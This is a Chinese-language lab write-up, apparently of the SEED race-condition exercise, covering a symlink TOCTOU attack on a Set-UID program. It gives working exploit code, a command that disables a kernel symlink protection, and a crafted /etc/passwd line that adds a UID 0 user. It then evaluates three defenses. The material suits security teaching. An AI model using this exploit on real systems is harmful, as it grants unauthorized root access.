漏洞分析——Race_Condition
Task 1: Exploit the Race Condition Vulnerabilities
首先通过命令sudo sysctl -w kernel.yama.protected_sticky_symlinks=0关闭Ubuntu的保护措施
被攻击程序代码:
/* vulp.c */
#include <stdio.h>
#include<unistd.h>
#include<string.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK))
{
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
攻击程序代码:
#include<unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(1000);
}
return 0;
}
将两个c文件分别编译为vulp和attack程序
将vulp程序设置为root所有的Set-UID程序
编写bash脚本task1.sh,使该脚本重复运行被攻击程序vulp:
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while[ "$old"=="$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "attack success"
赋予task1.sh脚本可读可写可执行权限
使用seed用户创建输入文件paasswd_input文本文件
在窗口输入命令:
echo "crack:"$(openssl passwd -1 -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"
打印出结果:
crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash
将打印出的结果存入passwd_input文本文件中
同时打开两个命令窗体分别运行攻击程序(循环执行)和脚本(循环执行被攻击程序):
窗口1:
$attack
窗口2:
$task1.sh
攻击成功:
查看/etc/passwd文件中加入
crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash
使用crack为用户名,123456为密码即可以crack用户身份获得root特权
Task 2: Protection Mechanism A: Repeating
修改被攻击程序的源文件为task2.c文件:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
void no_perm(void)
{printf("no permission.\n");exit(EXIT_FAILURE);
}int main(int argc, char *argv[])
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;long int i;long int rep = 0; // number of repetitionstruct stat inodes[2] = {0};rep = 10;/* get user input */scanf("%50s", buffer );for (i = 0; i < rep; ++i) {if(!access(fn, W_OK)){stat(fn, &inodes[i%2]);if (i > 0) {if (inodes[0].st_ino != inodes[1].st_ino) {no_perm();}}}else {no_perm();}}fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);
}
通过创建多次竞争,使得攻击者成功的可能性降低
攻击程序不变
脚本bash中做细微修改(执行程序名改为task2)
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./task2 < passwd_input
new=$($CHECK_FILE)
done
echo "attack success"
同时打开两个命令窗体分别运行攻击程序(循环执行)和脚本(循环执行被攻击程序):
窗口1:
$attack
窗口2:
$task1.sh
此次攻击相对于task1的攻击而言,耗时稍长,但在计算机的运算下,也只需几秒钟即可攻击成功。
Task 3: Protection Mechanism B: Principle of Least Privilege
修改被攻击程序的源文件为task3.c
#include <stdio.h>
#include<unistd.h>
#include<string.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
uid_t real_uid=getuid();
uid_t eff_uid=getuid();seteuid(real_uid);
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
seteuid(eff_uid);
}
使用seteuid()把有效用户ID设置为真实用户ID,暂时关闭了root权限。
攻击程序不变
脚本bash中做细微修改(执行程序名改为task3)
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./task3 < passwd_input
new=$($CHECK_FILE)
done
echo "attack success"
同时打开两个命令窗体分别运行攻击程序(循环执行)和脚本(循环执行被攻击程序):
窗口1:
$attack
窗口2:
$task3.sh
运行结果:
seteuid()暂停了程序的root权限,使得攻击无法成功。
Task 4: Protection Mechanism C: Ubuntu’s Built-in Scheme
将被攻击程序的源文件改回task1中的vulp.c,重新编译并设置其为root所有的Set-UID程序。
重新打开保护机制,输入命令:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
打开两个窗口
窗口1:
$attack
窗口2:
$task4.sh
运行结果:
该保护机制限制了程序是否可以使用一个全局可写目录中的符号链接,导致无法使用竞态条件漏洞攻击程序,致使攻击失败。
仅供学习交流使用,转载请与作者说明
漏洞分析——Race_Condition相关推荐
- 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...
刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...
- 公开仓库中Docker镜像的漏洞分析结果发布
Federacy的一名研究人员发布了一项报告,该报告分析了公开仓库中Docker镜像的漏洞.24%的镜像发现了明显的漏洞,其中基于Ubuntu的镜像漏洞最多,而基于Debian的镜像漏洞最少. \\ ...
- 安全研究 | Jenkins 任意文件读取漏洞分析
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...
- 漏洞分析技术专家聚会——博文视点OpenParty第二期
漏洞分析技术专家聚会--博文视点OpenParty第二期 与传说中的牛人面对面,与畅销书作者共话家常,与技术专家共商新概念-- 这不是天方夜谭! 2009年7月11日,好伦哥翠微店,博 ...
- Ruby on Rails路径穿越与任意文件读取漏洞分析(CVE-2019-5418)
Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上.它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活 ...
- cve-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析
Cribl是一款日志分析工具.Cribl UI是其中的一个用户界面. Cribl UI 1.5.0版本中存在安全漏洞.远程攻击者可借助未认证的Web请求利用该漏洞运行任意命令. 前言 前几天瞎逛 Gi ...
- wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943
近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...
- cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析
前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...
- cve-2018-7600 drupal核心远程代码执行漏洞分析
0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...
最新文章
- Java项目:在线拍卖竞价系统(java+SpringBoot+FreeMarker+Mysql+redis)
- vba 定义类_VBA|自定义类型、枚举类型和类模块及其使用
- 应用程序 mysql 连接_学生信息管理系统之四:实现应用程序与数据库的连接
- 判断父元素是否为顶部_元素树,检查元素是否有特定的父元素?
- 向算法传递函数:谓词
- Android开发:5-1、Adopter
- 返回通知异常通知环绕通知
- C++习题 对象数组输入与输出
- 显示器点距 测试软件,大既是正义!最佳文本显示点距~AOC LV323HQPX显示器开箱
- 各种浏览器下的页面元素xpath获取方法
- 基于Python和OpenCV的图像目标检测及分割
- 天地图三维帮助文档(Cesium)
- 求s=a+aa+aaa+aaaa+aa...a的值,其中a是一个数字。例如2+22+222+2222+22222(此时共有5个数相加),几个数相加由键盘控制
- 电脑清灰过后,CPU温度下降,显卡温度却上升了
- 麦子学院Linux教程:环境搭建
- 量子计算机游戏,第3章 量子计算机中的游戏
- 【论文笔记】组件化雷达仿真软件设计与实现
- mes系统和plc通讯案例_MES系统与PLC数据集成主要方式
- 【从零开始学微服务】01.微服务的过去与现在
- ClockGen超强的CPU超频工具
热门文章
- 分布式架构(一) —— 理解什么是是分布式
- SpringBoot + Vue实现博文上传+展示+博文列表
- 【分布式微服务】消息中心初步搭建
- bash:/home/xxxx/catikin_ws/setup.bash:没有那个文件或者目录
- 几种过滤URL和FORM中非法字符的方法
- Java实现十种行为型模式
- windows清理c盘的三种有效方法
- 微信小程序--计算器demo实现
- 什么是MES系统?MES系统具备哪些优势?
- python调用有道翻译_python 简单的调用有道翻译